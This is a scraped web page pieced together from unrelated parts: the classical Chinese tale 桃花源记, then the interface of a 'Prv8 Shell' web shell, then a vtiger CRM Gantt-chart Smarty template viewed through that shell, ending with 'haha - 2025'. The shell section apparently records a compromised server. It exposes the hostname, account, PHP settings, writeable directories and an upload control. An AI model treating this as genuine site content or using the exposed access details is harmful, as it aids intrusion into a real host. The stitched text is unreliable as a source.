晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/pkg/vtiger/modules/Projects/Project/layouts/v7/modules/Project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/pkg/vtiger/modules/Projects/Project/layouts/v7/modules/Project/ShowChart.tpl
{*<!--
/*********************************************************************************
** The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is:  vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
*
********************************************************************************/
-->*}
{strip}
<style>
    {foreach from=$TASK_STATUS_COLOR item=COLOR key=STATUS}
        {Project_Record_Model::getGanttStatusCss($STATUS, $COLOR)}
        {Project_Record_Model::getGanttSvgStatusCss($STATUS, $COLOR)}
    {/foreach}
</style>
{if !empty($PROJECT_TASKS['tasks'])}
    <div class="pull-right" style="margin-right: 5px;">
        <span style="margin: 2px;">
            <button class="btn textual zoomOut" title="zoom out">
                <span class="teamworkIcon">)</span>
            </button>
        </span>
        <span style="margin: 2px;">
            <button class="btn textual zoomIn" title="zoom in">
                <span class="teamworkIcon">(</span>
            </button>
        </span>
        <span style="margin: 2px;">
            <a href="index.php?module=Project&view=ExportChart&record={$PARENT_ID}" target="_blank" class="btn reportActions btn-default">
                {vtranslate('LBL_REPORT_PRINT', 'Reports')}
            </a>
        </span>
    </div>
    <br />
    <br />
    <input id="projecttasks"  type="hidden" value="{Vtiger_Util_Helper::toSafeHTML(Zend_Json::encode($PROJECT_TASKS))}">
    <input id="originalprojecttasks" type="hidden" value="{Vtiger_Util_Helper::toSafeHTML(Zend_Json::encode($PROJECT_TASKS))}">
    <input id="userDateFormat" type="hidden" value="{$USER_DATE_FORMAT}">
    <div id="workSpace" style="padding:0px;border:1px solid #e5e5e5;position:relative;margin:0 5px"></div>
    <div id="gantEditorTemplates" style="display:none;">
        <div class="__template__" type="TASKSEDITHEAD"><!--
        <table class="gdfTable" cellspacing="0" cellpadding="0">
          <thead>
          <tr style='height:50px'>
            <th class="gdfColHeader" style="width:35px;"></th>
            <th class="gdfColHeader" style="width:50px;" >{vtranslate('LBL_STATUS', $MODULE)}</th>
            <th class="gdfColHeader cursorPointer" style="width:80px;" data-name="name" data-text="{vtranslate('LBL_TASK_NAME', $MODULE)}">{vtranslate('LBL_TASK_NAME', $MODULE)}</th>
            <th class="gdfColHeader cursorPointer" style="width:80px;" data-name="startdate" data-text="{vtranslate('LBL_START_DATE', $MODULE)}" >{vtranslate('LBL_START_DATE', $MODULE)}</th>
            <th class="gdfColHeader cursorPointer" style="width:80px;" data-name="enddate" data-text="{vtranslate('LBL_END_DATE', $MODULE)}" >{vtranslate('LBL_END_DATE', $MODULE)}</th>
            <th class="gdfColHeader cursorPointer" style="width:80px;" data-name="duration" data-text="{vtranslate('LBL_DURATION', $MODULE)}">{vtranslate('LBL_DURATION', $MODULE)}</th>
          </tr>
          </thead>
        </table>
        --></div>

        <div class="__template__" type="TASKROW"><!--
        <tr taskId="(#=obj.id#)" class="taskEditRow" level="(#=level#)">
          <th class="gdfCell editTask" align="right" style="cursor:pointer;" data-recordid="(#=obj.recordid#)"><span class="taskRowIndex">(#=obj.getRow()+1#)</span> <span class="teamworkIcon" style="font-size:12px;" >e</span></th>
          <td class="gdfCell noClip" align="center"><div class="taskStatus cvcColorSquare" status="(#=obj.status#)"></div></td>
          <td class="gdfCell indentCell" style="padding-left:(#=obj.level*10#)px;">
            <div class="(#=obj.isParent()?'exp-controller expcoll exp':'exp-controller'#)" align="center"></div>
            (#=obj.name#)
          </td>

          <td class="gdfCell" name="start"></td>
          <td class="gdfCell" name="end"></td>
          <td class="gdfCell" name="durationtext">(#=obj.duration#)</td>
        </tr>
        --></div>

        <div class="__template__" type="TASKEMPTYROW"><!--
        <tr class="taskEditRow emptyRow" >
          <th class="gdfCell" align="right"></th>
          <td class="gdfCell noClip" align="center"></td>
          <td class="gdfCell"></td>
          <td class="gdfCell"></td>
          <td class="gdfCell"></td>
          <td class="gdfCell"></td>
        </tr>
        --></div>

        <div class="__template__" type="TASKBAR"><!--
        <div class="taskBox taskBoxDiv" taskId="(#=obj.id#)" >
          <div class="layout (#=obj.hasExternalDep?'extDep':''#)">
            <div class="taskStatus" status="(#=obj.status#)"></div>
            <div class="taskProgress" style="width:(#=obj.progress>100?100:obj.progress#)%; background-color:(#=obj.progress>100?'red':'rgb(153,255,51);'#);"></div>
            <div class="milestone (#=obj.startIsMilestone?'active':''#)" ></div>

            <div class="taskLabel"></div>
            <div class="milestone end (#=obj.endIsMilestone?'active':''#)" ></div>
          </div>
        </div>
        --></div>

        <div class="__template__" type="CHANGE_STATUS"><!--
          <div class="taskStatusBox">
            <div class="taskStatus cvcColorSquare" status="STATUS_ACTIVE" title="active"></div>
            <div class="taskStatus cvcColorSquare" status="STATUS_DONE" title="completed"></div>
            <div class="taskStatus cvcColorSquare" status="STATUS_FAILED" title="failed"></div>
            <div class="taskStatus cvcColorSquare" status="STATUS_SUSPENDED" title="suspended"></div>
            <div class="taskStatus cvcColorSquare" status="STATUS_UNDEFINED" title="undefined"></div>
          </div>
        --></div>


        <div class="__template__" type="TASK_EDITOR"><!--
        <div class="ganttTaskEditor">
        <table width="100%">
          <tr>
            <td>
              <table cellpadding="5">
                <tr>
                  <td><label for="code">code/short name</label><br><input type="text" name="code" id="code" value="" class="formElements"></td>
                 </tr><tr>
                  <td><label for="name">name</label><br><input type="text" name="name" id="name" value=""  size="35" class="formElements"></td>
                </tr>
                <tr></tr>
                  <td>
                    <label for="description">description</label><br>
                    <textarea rows="5" cols="30" id="description" name="description" class="formElements"></textarea>
                  </td>
                </tr>
              </table>
            </td>
            <td valign="top">
              <table cellpadding="5">
                <tr>
                <td colspan="2"><label for="status">status</label><br><div id="status" class="taskStatus" status=""></div></td>
                <tr>
                <td colspan="2"><label for="progress">progress</label><br><input type="text" name="progress" id="progress" value="" size="3" class="formElements"></td>
                </tr>
                <tr>
                <td><label for="start">start</label><br><input type="text" name="start" id="start"  value="" class="date" size="10" class="formElements"><input type="checkbox" id="startIsMilestone"> </td>
                <td rowspan="2" class="graph" style="padding-left:50px"><label for="duration">dur.</label><br><input type="text" name="duration" id="duration" value=""  size="5" class="formElements"></td>
              </tr><tr>
                <td><label for="end">end</label><br><input type="text" name="end" id="end" value="" class="date"  size="10" class="formElements"><input type="checkbox" id="endIsMilestone"></td>
              </table>
            </td>
          </tr>
          </table>

        <h2>assignments</h2>
        <table  cellspacing="1" cellpadding="0" width="100%" id="assigsTable">
          <tr>
            <th style="width:100px;">name</th>
            <th style="width:70px;">role</th>
            <th style="width:30px;">est.wklg.</th>
            <th style="width:30px;" id="addAssig"><span class="teamworkIcon" style="cursor: pointer">+</span></th>
          </tr>
        </table>

        <div style="text-align: right; padding-top: 20px"><button id="saveButton" class="button big">save</button></div>
        </div>
        --></div>


        <div class="__template__" type="ASSIGNMENT_ROW"><!--
        <tr taskId="(#=obj.task.id#)" assigId="(#=obj.assig.id#)" class="assigEditRow" >
          <td ><select name="resourceId"  class="formElements" (#=obj.assig.id.indexOf("tmp_")==0?"":"disabled"#) ></select></td>
          <td ><select type="select" name="roleId"  class="formElements"></select></td>
          <td ><input type="text" name="effort" value="(#=getMillisInHoursMinutes(obj.assig.effort)#)" size="5" class="formElements"></td>
          <td align="center"><span class="teamworkIcon delAssig" style="cursor: pointer">d</span></td>
        </tr>
        --></div>


        <div class="__template__" type="RESOURCE_EDITOR"><!--
        <div class="resourceEditor" style="padding: 5px;">

          <h2>Project team</h2>
          <table  cellspacing="1" cellpadding="0" width="100%" id="resourcesTable">
            <tr>
              <th style="width:100px;">name</th>
              <th style="width:30px;" id="addResource"><span class="teamworkIcon" style="cursor: pointer">+</span></th>
            </tr>
          </table>

          <div style="text-align: right; padding-top: 20px"><button id="resSaveButton" class="button big">save</button></div>
        </div>
        --></div>


        <div class="__template__" type="RESOURCE_ROW"><!--
        <tr resId="(#=obj.id#)" class="resRow" >
          <td ><input type="text" name="name" value="(#=obj.name#)" style="width:100%;" class="formElements"></td>
          <td align="center"><span class="teamworkIcon delRes" style="cursor: pointer">d</span></td>
        </tr>
        --></div>
    </div>
    <div class="row" style="margin-top: 10px; padding: 5px;">
        <div class="col-lg-4">
            <table class="table table-condensed table-striped table-bordered ">
                <thead>
                    <tr>
                        <td></td>
                        <td><b>{vtranslate('LBL_STATUS', $MODULE)}</b></td>
                    </tr>
                </thead>
                <tbody>
                    {foreach from=$TASK_STATUS item=STATUS_NAME}
                        {assign var=STATUS_NAME value=trim($STATUS_NAME)}
                        <tr>
                            <td>
                                <div class="row">
                                    <div class="col-lg-3"> &nbsp; </div>
                                    <div class="col-lg-3">
                                        <div status="{Project_Record_Model::getGanttStatus($STATUS_NAME)}" class="taskStatus cvcColorSquare"></div>
                                    </div>
                                    {if $STATUS_FIELD_MODEL->isEditable()}
                                        <div class="col-lg-3">
                                            <a onclick="javascript:Project_Detail_Js.showEditColorModel('index.php?module={$MODULE}&view=EditAjax&mode=editColor&status={$STATUS_NAME}', this)" data-status="{$STATUS_NAME}" data-color="{$TASK_STATUS_COLOR[$STATUS_NAME]}"><i title="{vtranslate('LBL_EDIT_COLOR', $MODULE)}" class="fa fa-pencil alignMiddle"></i></a>&nbsp;
                                        </div>
                                    {/if}
                                </div>
                            </td>
                            <td>{vtranslate($STATUS_NAME,'ProjectTask')}</td>
                        </tr>
                    {/foreach}
                </tbody>
            </table>
        </div>
        <div class="col-lg-8"> 
            <div style="position: relative;width:93%" class="row alert-info well">
                <span class="span alert-info">
                    <span style="padding: 1%"><b>{vtranslate('LBL_INFO',$MODULE)}</b></span>
                    <ul>
                        <li>{vtranslate('LBL_GANTT_INFO1', $MODULE)}</li>
                        <li>{vtranslate('LBL_GANTT_INFO2', $MODULE)}</li>
                    </ul>
                </span>
            </div>
        </div>
    </div>
{else} 
    <table class="emptyRecordsDiv">
		<tbody>
			<tr>
				<td>
                    {assign var="PROJECT_TASK_MODEL" value=Vtiger_Module_Model::getInstance('ProjectTask')}
                    {assign var="IS_MODULE_EDITABLE" value=$PROJECT_TASK_MODEL->isPermitted('CreateView')}
                    {assign var=SINGLE_MODULE value="SINGLE_ProjectTask"}
					{vtranslate('LBL_NO')} {vtranslate('ProjectTask', 'ProjectTask')} {vtranslate('LBL_FOUND')} {vtranslate('LBL_NO_DATE_VALUE_MSG', 'ProjectTask')}.{if $IS_MODULE_EDITABLE} <a href="{$PROJECT_TASK_MODEL->getCreateRecordUrl()}&projectid={$PARENT_ID}"> {vtranslate('LBL_CREATE')} </a>{/if}
				</td>
			</tr>
		</tbody>
	</table>
{/if}
{/strip}

haha - 2025